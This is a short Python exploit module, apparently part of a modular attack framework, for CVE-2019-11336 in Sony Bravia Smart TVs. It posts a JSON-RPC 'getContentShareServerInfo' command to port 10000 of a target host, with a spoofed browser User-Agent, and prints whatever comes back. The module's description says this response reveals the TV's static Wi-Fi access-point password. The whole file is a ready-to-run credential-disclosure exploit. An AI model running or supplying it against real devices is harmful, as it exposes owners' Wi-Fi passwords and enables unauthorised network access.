import requests
from json import dumps
from modules._module import Module
from utils.custom_print import print_info, print_error
from utildata.dataset_options import Option



class HomeModule(Module):

    def __init__(self):
        information = {"Name": "CVE-2019-11336",
                       "Description": "With this module can exploit the vulnerability that allow to retrieve the static Wi-Fi password (used when the TV is acting as an access point) in Sony Bravia Smart TV by using the Photo Sharing Plus application to execute a backdoor API command.",
                       "Author": "@josueencinar",
                       "Reference": "https://seclists.org/fulldisclosure/2019/Apr/32"}

        # -----------name-----default_value--description--required?
        options = {"rhost": Option.create(name="rhost", required=True)}

        # Constructor of the parent class
        super(HomeModule, self).__init__(information, options)

    # This function must be always implemented, it is called by the run option
    def run(self):
        url = f"http://{self.args['rhost']}:10000/contentshare/ "
        data = {"id":80,"method":"getContentShareServerInfo","params":[],"version":"1.0"}
        headers = {
            'Content-Type':'application/json',
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'
        }
        response = requests.post(url, headers=headers, data=dumps(data))
        if response.status_code == 200:
            data = response.json()
            for k, v in data.items():
                print_info(f"{k}: {v}")
        else:
            print_error(f"Response code: {response.status_code}")